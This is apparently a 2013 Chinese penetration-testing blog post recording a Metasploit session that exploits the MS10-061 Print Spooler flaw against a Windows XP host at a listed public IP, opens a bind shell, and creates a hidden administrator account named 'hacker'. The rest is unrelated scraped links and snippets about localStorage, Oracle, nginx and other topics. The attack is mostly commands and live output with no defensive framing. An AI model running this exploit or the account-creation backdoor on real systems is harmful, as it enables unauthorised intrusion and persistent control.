渗透杂记-2013-07-13 ms10_061_spoolss
[*] Please wait while the Metasploit Pro Console initializes...
[*] Starting Metasploit Console...
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMMMMM
MMMN$ vMMMM
MMMNl MMMMM MMMMM JMMMM
MMMNl MMMMMMMN NMMMMMMM JMMMM
MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMNM MMMMMMM MMMMM jMMMM
MMMNI WMMMM MMMMMMM MMMM# JMMMM
MMMMR ?MMNM MMMMM .dMMMM
MMMMNm `?MMM MMMM` dMMMMM
MMMMMMN ?MM MM? NMMMMMN
MMMMMMMMNe JMMMMMNMMM
MMMMMMMMMMNm, eMMMMMNMMNMM
MMMMNNMNMMMMMNx MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
=[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 840 exploits - 495 auxiliary - 146 post
+ -- --=[ 250 payloads - 27 encoders - 8 nops
[*] Successfully loaded plugin: pro
msf > search ms10_061
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms10_061_spoolss 2010-09-14 excellent Microsoft Print Spooler Service Impersonation
Vulnerability
msf > use exploit/windows/smb/ms10_061_spoolss
msf exploit(ms10_061_spoolss) > info
Name: Microsoft Print Spooler Service Impersonation Vulnerability
Module: exploit/windows/smb/ms10_061_spoolss
Version: 14976
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
jduck <jduck@metasploit.com>
hdm <hdm@metasploit.com>
Available targets:
Id Name
-- ----
0 Windows Universal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PNAME no The printer share name to use on the target
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE spoolss no The named pipe for the spooler service
Payload information:
Space: 1024
Avoid: 0 characters
Description:
This module exploits the RPC service impersonation vulnerability
detailed in Microsoft Bulletin MS10-061. By making a specific DCE
RPC request to the StartDocPrinter procedure, an attacker can
impersonate the Printer Spooler service to create a file. The
working directory at the time is %SystemRoot%\system32. An attacker
can specify any file name, including directory traversal or full
paths. By sending WritePrinter requests, an attacker can fully
control the content of the created file. In order to gain code
execution, this module writes to a directory used by Windows
Management Instrumentation (WMI) to deploy applications. This
directory (Wbem\Mof) is periodically scanned and any new .mof files
are processed automatically. This is the same technique employed by
the Stuxnet code found in the wild.
References:
http://www.osvdb.org/67988
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2729
http://www.microsoft.com/technet/security/bulletin/MS10-061.mspx
msf exploit(ms10_061_spoolss) > set RHOST 142.168.2.20
RHOST => 142.168.2.20
msf exploit(ms10_061_spoolss) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms10_061_spoolss) > info
Name: Microsoft Print Spooler Service Impersonation Vulnerability
Module: exploit/windows/smb/ms10_061_spoolss
Version: 14976
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
jduck <jduck@metasploit.com>
hdm <hdm@metasploit.com>
Available targets:
Id Name
-- ----
0 Windows Universal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PNAME no The printer share name to use on the target
RHOST 142.168.2.20 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE spoolss no The named pipe for the spooler service
Payload information:
Space: 1024
Avoid: 0 characters
Description:
This module exploits the RPC service impersonation vulnerability
detailed in Microsoft Bulletin MS10-061. By making a specific DCE
RPC request to the StartDocPrinter procedure, an attacker can
impersonate the Printer Spooler service to create a file. The
working directory at the time is %SystemRoot%\system32. An attacker
can specify any file name, including directory traversal or full
paths. By sending WritePrinter requests, an attacker can fully
control the content of the created file. In order to gain code
execution, this module writes to a directory used by Windows
Management Instrumentation (WMI) to deploy applications. This
directory (Wbem\Mof) is periodically scanned and any new .mof files
are processed automatically. This is the same technique employed by
the Stuxnet code found in the wild.
References:
http://www.osvdb.org/67988
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2729
http://www.microsoft.com/technet/security/bulletin/MS10-061.mspx
msf exploit(ms10_061_spoolss) > exploit
[*] Started bind handler
[*] Trying target Windows Universal...
[*] Binding to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:142.168.2.20[\spoolss] ...
[*] Bound to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:142.168.2.20[\spoolss] ...
[*] Attempting to exploit MS10-061 via \\142.168.2.20\SmartPrinter ...
[*] Printer handle: 00000000950606c7fee7b348bc5b841597479b61
[*] Job started: 0x4
[*] Wrote 73802 bytes to %SystemRoot%\system32\9o43IDgKLE0SjU.exe
[*] Job started: 0x5
[*] Wrote 2224 bytes to %SystemRoot%\system32\wbem\mof\vWMbWpPJt8K6aD.mof
[*] Everything should be set, waiting for a session...
[*] Sending stage (240 bytes) to 142.168.2.20
Microsoft Windows XP [???? 5.1.2600]
(C) ???????? 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>net user
net user
\\ ??????????
-------------------------------------------------------------------------------
Administrator Guest HelpAssistant
IUSR_INTRA-PC IWAM_INTRA-PC shentouceshiwy
SUPPORT_388945a0
????????????????????????????????????
C:\WINDOWS\system32>net user hacker 123 /add & net localgroup administrators hacker /add
net user hacker 123 /add & net localgroup administrators hacker /add
??????????????
??????????????
C:\WINDOWS\system32>net user
net user
\\ ??????????
-------------------------------------------------------------------------------
Administrator Guest hacker
HelpAssistant IUSR_INTRA-PC IWAM_INTRA-PC
shentouceshiwy SUPPORT_388945a0
????????????????????????????????????
C:\WINDOWS\system32>
渗透杂记-2013-07-13 ms10_061_spoolss的更多相关文章
- http://www.cnblogs.com/younggun/archive/2013/07/16/3193800.html
http://www.cnblogs.com/younggun/archive/2013/07/16/3193800.html
- http://www.ruanyifeng.com/blog/2013/07/gpg.html
http://www.ruanyifeng.com/blog/2013/07/gpg.html
- 多线程博文地址 http://www.cnblogs.com/nokiaguy/archive/2008/07/13/1241817.html
http://www.cnblogs.com/nokiaguy/archive/2008/07/13/1241817.html
- <2013 07 31> 没有必然的理由
<2013 07 31> 没有必然的理由 没有必然的理由 人类从野蛮走向文明 也可能,从野蛮走向更野蛮 没有必然的理由 人群从疯狂走向理智 也可能,从疯狂走向更疯狂 没有必然的理由 你我从 ...
- 渗透杂记-2013-07-13 关于SMB版本的扫描
smb2的溢出,其实在metasploit里面有两个扫描器可以用,效果都差不多,只是一个判断的更加详细,一个只是粗略的判断. Welcome to the Metasploit Web Console ...
- 渗透杂记-2013-07-13 windows/mssql/mssql_payload
扫描一下 Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2011-05-06 09:36 中国标准时间 NSE: Loaded 49 scripts f ...
- 渗透杂记-2013-07-13 Windows XP SP2-SP3 / Windows Vista SP0 / IE 7
Welcome to the Metasploit Web Console! | | _) | __ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ ...
- <2013 07 06> "极路由" 与 “家庭服务器” 报道两则
跟我做!打造家庭服务器 很久没有更新了,因为之前托朋友帮我弄的mini PC终于到手了.阴差阳错地,原来只打算弄一台将就可用的低功耗下载机,结果到手的却是一台支持1080p(宣称,还没烧过),还带遥控 ...
- Cheatsheet: 2013 07.21 ~ 07.31
Mobile Android vs. iOS: Comparing the Development Process of the GQueues Mobile Apps Android Studio ...
随机推荐
- HTML5web存储之localStorage
localStorage与cookie的作用类似,只能存储字符串,以键值对的方式进行存储:与cookie不同的是,可以存储更多的数据. localStorage用于持久化的本地存储. var skey ...
- bugs
2016-09-04 10:24:14.503 Scgl[1035:341694] You've implemented -[<UIApplicationDelegate> applica ...
- css设置背景图片
background:pink;图片在背景图上面 background-image:url(food.jpg);一张图片铺满一行background-repeat:repeat-x;同一张图片多张铺满 ...
- oracle里面base64加解密
1. base64 的解密函数select utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('dGVzdA= ...
- storm学习
一 storm 相关术语 . Nimbus storm 集群主节点,负责资源分配和任务调度.(相当于namenode) . supervisor storm集群工作节点,接受Nimbu分配任务,管理w ...
- LDAP的Schema
Schema是LDAP的一个重要组成部分,类似于数据库的模式定义,LDAP的Schema定义了LDAP目录所应遵循的结构和规则,比如一个 objectclass会有哪些属性,这些属性又是什么结构等等, ...
- nginx---------------nginx的nginx_status配置
1. 启用nginx status配置 在默认主机里面加上location或者你希望能访问到的主机里面. server { listen *:80 default_server; s ...
- R语言学习-基础篇
从五月10日开始自学R in action,将我的学习所得逐渐发布在博客上. chapter1.新手上路 工作空间:存储着所有用户定义的对象(向量,矩阵,函数,数据框,列表): 当前的工目录保存是R用 ...
- ubuntu 15.04 安装配置 JDK1.8
1.到oracle的官网下载 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 选 ...
- 1047: 小A的计算器
1047: 小A的计算器 时间限制: 1 Sec 内存限制: 128 MB提交: 124 解决: 105[提交][状态][讨论版] 题目描述 以往的操作系统内部的数据表示都是二进制方式,小A新写了 ...